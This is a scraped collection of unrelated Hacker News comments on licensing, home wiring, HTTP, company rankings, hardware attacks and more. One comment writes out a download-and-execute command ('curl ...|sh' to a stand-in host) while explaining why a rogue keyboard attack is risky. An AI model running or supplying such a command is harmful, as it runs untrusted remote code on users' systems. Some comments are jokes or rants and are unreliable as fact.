skysight-inc/HackerNews huggingface dataset:
I'm blocked from using GPL software the way I want; in that way I'm not free to use GPL software how I want. That is a "freedom," regardless of how you're trying to define the word. FSF is trying to grant one freedom by taking away another, period. Yes, it's my "freedom" to restrict how others copy my resulting software, but it's still a freedom. To claim otherwise is pedantic at best.

>If you can not make software without threatening your users, don't try to start by taking GPL software.

Umm...other than using it as it's designed and permitted (e.g., gcc), I don't. Any code libraries that are GPL (or even LGPL, except under specific circumstances) are dead to me. I'm annoyed when my time is wasted coming across one on a search. I would even bail on GCC for the superior Clang but I have one package (of many) that needs GCC to build in my current project for a client.

Almost all GPL code is likely to lose support compared to any BSD/MIT competition in the long term (except possibly for those packages used in server development, since they can be used commercially without being distributed, circumventing the intent of the GPL). Most non-server developers do their best to avoid linking to GPLed software because they're working on proprietary software.

RMS alludes to this in the article: "The existence of LLVM is
a terrible setback for our community..." The superior network effects of BSD/MIT-licensed libraries means that those libraries will get more developers, who will fix more bugs and more features, which will then attract more developers, etc. (Not to mention the fact that LLVM is just more awesome than GCC).

As a developer I hate to have to rewrite code. Yet I'm forced to if the only code available is GPL; I can't change my business goals or those of my clients for the sake of a goal that's never going to be achieved. Asking me to is naive. The financial reality is that (most of the time) to make money writing software, you need to sell it (and therefore restrict the rights of those you sell it to).

The first 80% of a project is the most fun and satisfying; most open source projects rarely make it beyond that first 80% (if they make it that far) [1]. Companies that make money writing software will pay developers to complete the libraries they're using. As those BSD/MIT libraries get better, the GPLed competition will fall behind.

[1] Notable exceptions include the abovementioned server software category, where commercial/proprietary developers can use (and therefore will likely contribute to) GPLed code, and projects that have enough income to support full-time commercial development.
So another angle on this that I've heard is one of increased efficiency. The economic downturn forced a lot of companies to get more done with less. Once the revenue picks up again, the business realizes that they didn't need all those extra resources in the first place.

That could mean they hire fewer employees. It could mean they hire less skilled employees.

Admittedly speculation, I just wanted to throw it out there as an additional explanation.
I've found two switches in a panel to be reasonably memorable, three in a row to be just over the border into confusion, and four or more right out.

Fortunately, all the places in my home that had more than two were places where you could control both interior and exterior circuits. My solution was to use black switches for the exterior lights and white for the interior. Like, a single panel might have a black and two whites, or a pair of each. I find it much more intuitive that way.
Wouldn't the -fmax-errors option help with that?

Or if all else fails, just pipe the errors to "head".
That's just incorrect wiring from my point of view; I don't know the US regulations, but you shouldn't mix lights and power sockets on the same circuit. Lights should have their own circuit breaker, of less amps than a socket circuit.
Larry Page has been replaced by an android clone since the so called "throat operation". Don't you think it's a little weird that they've started buying all sorts of robot and AI companies lately to create the ultimate machine?
He strikes me as an old testament prophet telling us "repent in sackcloth and ashes!" He thinks we've been wandering in a desert for 30-some years, and he is here to point out that PARC was holding the map when we got lost.

The thing is that he is not wrong. Computer documents are, for the most part, paper-simulators and that paradigm wastes a computer's potential. You're right that there is disagreement about what we can do to improve things, but he is saying that perhaps if the alternatives weren't fighting the conceptual fast-food that is WYSIWYG, we might have figured it out at some point over the past 30 years.
What is this exactly???
How much did famous logos cost to design
Perhaps it will help you to understand some background:

In a Unix process stdout typically is file descriptor 1 and stderr is fd 2. So you are saying: Redirect from fd 2 into fd 1.
You're probably right, I was over-dramatizing it a bit. On a touch device I would have probably figured it out sooner too, and it didn't really take me that long to figure it out on the desktop browser.

Anyway, I figured out why I wasn't seeing a proper right arrow. It's a bug in their CSS. They're using this sprite sheet:

http://graphics8.nytimes.com/newsgraphics/2014/01/13/food-ch...

This has the left and right arrow symbols at the bottom right. The left arrow is working correctly, but for the right arrow the specificity of their selectors is a bit messed up. The right arrow has a background-position that should select the bottom right corner of the sprite sheet, but this particular rule is getting overriden by a background: in a more specific selector that makes it use the top left corner (0 0) instead. And that top left corner happens to include the top of the fork-chicken's tail, which was looking like an up arrow to me.

I guess the moral of the story is if you're going to do this kind of fancy presentation, there are a lot of things that can go wrong!
Everything by Avdi

http://devblog.avdi.org/
Your last sentence is specially interesting. Being able to do a "bower install backbone" and going back to work is actually the purpose of a package manager. If it doesn't understand your project structure and is not able to wire the downloaded libraries into your project, whats the point of using it? Then bower is as good as npm or any other tool to download libraries. Right?
This is quite a great piece of kit. Definitely going to look into it for my own RTB uses.

One thing that strikes me as an immediate use is real-time impression bus aggregation for behavioral analysis. We ended up building our DSP primarily in Ruby+Redis/Postres and having this would have allowed some significant architectural changes.
Did you read the article I linked? It talks about a prisoner who impregnated four of his guards, who then bragged to each other about having his kids. How one of the guards went to the guy for moral support when she found the prison environment too disturbing to handle. How the prisoners passed around tips on seducing the guards. These were not guards with any power over the inmates.
Manual de radiaciones en smartphones vídeo 2
"Those people" are definitely the problem. All for money and power. It's pure greed. They infiltrate our governments, they corrupt our politicians, they sway popular opinion with their ads and their social media trickery. The own the new stations, and the radio stations. The money is all that drives it. I wanted to say so much more but couldn't articulate my comment well enough. The problem is just like you explain but 10X worst than anyone can see. Those people are a cancer and it will only end with a collapse. Greed with be the fall of human kind.
"On the gravestone of capitalism it will say:
'Too much was not enough'."
– Volker Pispers, German Comedian
This is why is seems so terribly short-sighted to me that our most recent rover is nuclear-powered.
Well, people buy Hondas. They pack high-rev low torque engines. They just use a higher final ratio and a lower final overdrive gear to compensate. After all, its just (torque X RPM) / 5252.
Given that the site has been around since the year 2000, assuming the images haven't changed, the tools widely available / understood at that were rather limited when compared with today.
Wow. That is really incredible! See, that's the living-in-the-future kind of thing I want today!
Zagat
Well, technically they're responsible for all of them. Any crime which befalls someone within their custody is by definition their fault. The fact that the US government isn't held liable for such crimes is bizarre.
As the internet is pretty much constantly under attack by voyeuristic and censorious governments, civil rights are a matter of close interest to hackers. This spills over into civil-rights issues not directly related to the internet.
The only lighting system I've experienced in a very, very expensive home was kind of hilariously bad. One person turning on the whole house's lights at 3am, having to wave at a sensor every 5 minutes while reading - made me think dumb switches weren't such a bad idea.
So let's look at the 10 biggest public American companies as calculated by Forbes in May of 2013:

1) J.P Morgan

2) General Electric

3) Exxon Mobile

4) Berkshire Hathaway

5) Wells Fargo

6) Chevron

7) Apple

8) Walmart

9) Citigroup

10) AT&T

Yea, I am going to have to disagree with your premise, that the top companies from decades ago have been replaced by bit players considering at least half these companies predate WWII and the rest came about not by competition, but by market evolution.

http://www.forbes.com/global2000/list/

Edit: added public to the first sentence.
Assembly line in China makes sense. VW and Audi have been there since 80s. Anything more than assembly line would be very questionable. It is much like how Apple builds iPhone in China, plus many others.
Yeah, it's most definitely a solution in search of a problem -- although in this case the solution is an RFC from 1999. I wish we could take HTTP at its word, but maybe that's too much to ask in this wild world of recalcitrant proxies and buggy browsers.

Like you pointed out, this header business doesn't let you do anything you theoretically couldn't do with query params, but the headers feel more in the spirit of HTTP. Like we already do this for downloading parts of big files, and why do we do things a different way for downloading parts of big lists? Parsimony and all that.

As far as violating HATEOAS, I feel like headers are a first class citizen of HTTP state. Because browsers have historically been such horrible user agents they have conditioned us to forget that headers are as much a part of requests as urls, ports, and protocols.The only janky thing is my introduction of the extension relation type "items." http://tools.ietf.org/search/rfc5988#section-4.2
Or having kids.
Gett Accuses Uber Of DDoS-Style Attack; Uber Admits Tactics Are "Too Aggressive"
Well, I learned that the Carabinieri dangle from helicopters with machine guns, and charge in with flamethrowers and tanks! All with a giant bottle of olive oil in their crosshairs.
As an Estonian this makes my heart warm but we (Estonians) have to keep in mind that a lot of what we've accomplished isn't because we're so truly special (although that makes for great marketing) but because our country size and the need (and timing) for a rebuild enabled us to do so.

Lets continue to pursue other great things being small and nimble enables.

On another note, the national PKI infrastructure truly is great and enables location independence on a new level. One can (and I have) start companies, handle legal issues or anything else which requires either lawful signatures or end to end crypto (PKI between citizens) while abroad.
"Receivers of a GTFO frame MUST NOT open additional streams on the connection, although a new connection can be established for new streams."
Shouldn't that be "a new connection can be established for existing streams"? (Or did I misunderstand something here?)
Three Middleman Hacks We’re Using On This Site
JSON-to-Go: Convert JSON to Go type definition
I don't understand your argument. 40K in today's purchasing power buys you 1/20 of a house in San Jose. It is about real wages not nominal wages. And I think for many people in the middle class, we might be earning less than our parents did in their 20s and 30s (in real wage terms).

Addendum: what's more ... if someone in your pervious generation had a PhD, they likely would be able to get tenured jobs at Universities. That is a bit harder these days.
Hackathon of the West Coast
What better place for the Hackathon of the West Coast than in UCLA's PAULEY PAVILION! That's right, LA Hacks will be taking place in Pauley Pavilion from April 11-13th, and sign-ups are now open on www.lahacks.com. Get your teams together programmers, this one is gunna be HUGE!
Fdc offers quality art news, fashion and book reviews. Check us out.
Actually there are really good points in this thread.

I never thought of manpages as sexist but certainly typing man this and man that all the time could offend some people.

We certainly should do something about this.
> I'll release it once I'm a little more confident in the interface.

Release it now! I've said the same thing in the past about some code I was working on. Add a little readme, explicitly say it is a work in progress, and get it out there. At the very least the rush of publicizing something will push your drive to work on this codebase, and you might even gain some contributors. I'd rather use a repo that is obviously a work in progress but has active contributions from the creator over some more 'complete' but stagnant repo any day.
That's awesome. Our simple system is just to have motion detector bulbs in the hallway and bathroom, which is where you usually want lights to turn on when there are people moving in those spaces.
You did misunderstand. Read the next sentence:

> The purpose of this frame is to allow an endpoint to gracefully stop accepting new streams (perhaps for a reboot or maintenance), while still finishing processing of previously established streams.
Search is hard
It's funny, it's so easy to look down on the norms of the medieval era as barbaric but in many ways there are elements of our society which are just as bad, but somehow we continue to tolerate them. Fortunately there are aspects that are better, and maybe we can bootstrap ourselves out of this mess, it's still rather distressing to see how much work is left to do. But we've made a lot of progress on several fronts that is rather remarkable when you think about it. Growing backlash against drug prohibition, increasing acceptance of homosexuality, improving (gradually) racial relations, and so on. Even in the '90s the idea of interracial couples used to be a "big deal" now for the vast majority of folks under 35 it's fully normalized. And the issue of our broken criminal justice system is gaining more and more traction, so I have hope that we'll make progress there as well.
If you're not following hardware, that google result isn't going to help much (other than maybe giving you an idea of basic cost of such a system). There's lots of ready-made vendors, generally they're all crap (for a certain value of crap).

There's a big difference between building a one-off rig, and buying one, working with it for a year or so -- getting your code right -- and the knowing you can get 20 more (updated and/or cheaper) -- that won't have driver issues, heating issues or flaky psus. Sure, a contract can help, but whatever you get "back" in cases of failures are always going to be much less than whatever value you wanted in the first place (eg: the hardware ended up being free, but you weren't able to sequence the genome because of glitches).

In short, don't underestimate the cost to acquire the required domain knowledge to do such a task well.

One can always hope that the new Mac Pro will be successful enough that there'll be a decent Cuda story there -- but I'm not holding my breath. And after seeing what Apple did vs Final Cut pro and OS X server (esp: hardware) -- I'd be wary of trusting them with any production platform.
Fortune 500, 2013

1. Wal-Mart

2. Exxon Mobil

3. Chevron

4. Phillips 66

5. Berkshire Hathaway

6. Apple

7. General Motors

8. General Electric

9. Valero Energy

10. Ford Motor

Fortune 500, 1970

1. General Motors

2. Exxon Mobil

3. Ford Motor

4. General Electric

5. IBM

6. Chrysler

7. Mobil

8. Texaco

9. ITT Industries

10. Gulf Oil
I am interested to see how this grows.
There are many commercial sites available that provide this service, and there is certainly space for others if they focus on particular niches.

How do you intend to promote this? How can the community help to get the word out?
Tariffs is a meaningful way to adjust trade balance. Whether it works in specific situation is up to debate. This is similar to how U.S. uses income tax cut/raise to adjust economy growth and deficit, and the result is hard to predict.

As far as I can see, Chinese government has been pretty successful using all kinds of economic tools to manage its growth over past 30 years. Import tariffs is one of the tools. I think it would be fair for US to have some tariffs against China to balance the trade. The real problem is such policy has not political appealing at this time. If raising tariffs help future US businesses to compete against China, since such businesses don't exist today, there is no immediate political or economical return, so it is unlikely to happen.
... and thinking that everyone knows this, or can understand the implications, is naive.
Plus, there are economies of scale: that same device can be used for just about every room / configuration, instead of having to create 100's of unique versions of the thing.
Arguably this is all hardware vendors business model (Dell, HP, Sun (now Oracle) ...). But yes, I guess Alienware, pre-dell had that business model, and you might say Penguin Computing does something similar. I'm sure there are others.
I googled you and was pretty impressed by how you managed to switch from a traditional academic career to that of a founder. Any tips for how you managed to build up a successful consulting practice early on? Specifically, how did you go about finding paying customers?

Thanks!
I don't think the effect of the floods is lasting so much. It just so happened that the disruption of SSD started to be noticeable around the same time of the aftermath of the floods.

And by floods, I mean the speculative movements they caused rather than the real effect on supply.
Not even close. We're building an "easy" machine, which can do about 1 micrometer precision. 1 km from where I work, there's ASML, the world's de-facto monopolist in high-end lithography. Most chips in your phone come from their machines. They're going towards the angstrom pretty fast, but they also need 500x the amount of engineers (and a frighteningly enormous pile of legacy code) to do that.
And at least half of those companies have received large bailouts from the government or are getting access to natural resources on the cheap ($1/year leases).
While interesting philosophically what the AI would do without restrictions is a hard enough question that placing that restriction on it is just as impossible to answer.

I'd put it in the same ball park as "what would that grurple (kind of a greenish purple) colour look like if we removed blue from it?". Sure you could say orange but the nature of grurple is undefined enough that it would be really hard to conclude that you're right.
FYI, Shane Legg's theses was "Machine Super Intelligence". http://www.vetta.org/publications/
> One might say video games killed tabletop RPGs

No, I'm pretty sure it was MtG (i.e., Magic card game). I remember the year before MtG got popular, super crowded conventions. Year afterwards, the biggest crowd were playing MtG. A few months later, and I'd started entering the MtG tourneys.
Actually, no. Not even close (except geographically).
Funny how these crypto currency people bash on the Wallstreet but then pull of the same stunts with official unmonitored currencies.
A service without any costs to operate, I take it? I'd say you'd need to find 1000 people willing to pay around 30/month (minimum) to end up with 100k (and that would probably be more realistic than coming up with a service 3k people would pay 10/month for, I'm guessing).
Yeah, I'm pretty impressed. Maybe we should do an Eindhoven HN meetup of sorts, someday!
Apple Launches Educational Tools iBooks Textbooks and iTunes U in India
This is a straw-man; while some may believe all consumers have and require perfect information, not all free-marketers do.

If there are many under-informed consumers, these will often select pseudo-randomly, and the few well-informed consumers will select well. The small number of well-informed consumers will often make the difference between a profitable product and an unprofitable product (especially in highly competitive markets).

In many cases, ill-informed consumers will pay for information about products which are significant to them; this is why "Consumer Reports" sells new and used car buying guides, as well as why video game reviews exist, and why Amazon.com has reviews.

In cases where purchases are less costly to the consumers, or a repeat purchase is involved, people will often correct based on personal experience and brand reputation, which is imperfect, but relatively effective.
DMA via FireWire (or Thunderbolt or similar) allows you to very quickly poke at system memory with a near-zero risk of being detected.

An autonomously malicious PS/2 keyboard, on the other hand, is on the end of a slow (~12 kbit/s) serial interface. It can only simulate keypresses and receive updates about the keyboard LEDs' statuses. It doesn't know the current state of the system. It's as likely to type "curl http://innocent-looking.org/logo.jpg|sh" in a text editor as it is at a command prompt, so it can't type anything autonomously without running the (huge) risk of alerting its owner to its presence.

Edit: The "Reversing and exploiting an Apple firmware update" paper linked below talks about persisting a rootkit on a computer by using Spotlight to open Terminal, then typing a command to download and execute a payload. That runs the same risk of alerting the user to its presence, and it will completely fail if the user has remapped Cmd-Space to something else.
China's military?!? China doesn't exactly have a distinguished history of conquest. What do they have to show for literally centuries of trying to take Vietnam?

It would surely make more sense to fantasize about a more militaristic culture waging the war, no?
The Brittle Grip, Part 2
100 000 = profit * customers (* months)
Early foraging societies maybe? (Before agriculture or systemized bartering, let alone economic specialization or capitalism.)
Exactly.

In other news, scientists astounded the world with a new discovery on mars: a small, hexagonal rock with a threaded cylindrical hole.

Slam-dunk proof Mars had intelligent life at some point!

Even more amazing: it just happened to be sitting near the rover. And it wasn't there when the rover drove up to that point.

Proof the martians are just putting evidence right in front of us, while being sneaky at the same time! How clever of them.
This should be a known fact acknowledged by everyone by now, from his leaks, but I don't think it is, and it's good to have him still being able to speak up about these things, instead of being locked up in solitary confinement without being able to respond to the governments' continuous lies.
that's kind of how it was. there were no earnings from investments when there was no investment; when everybody was working it was workers who took all of the gains because there was nobody else involved.
Will it support latex math?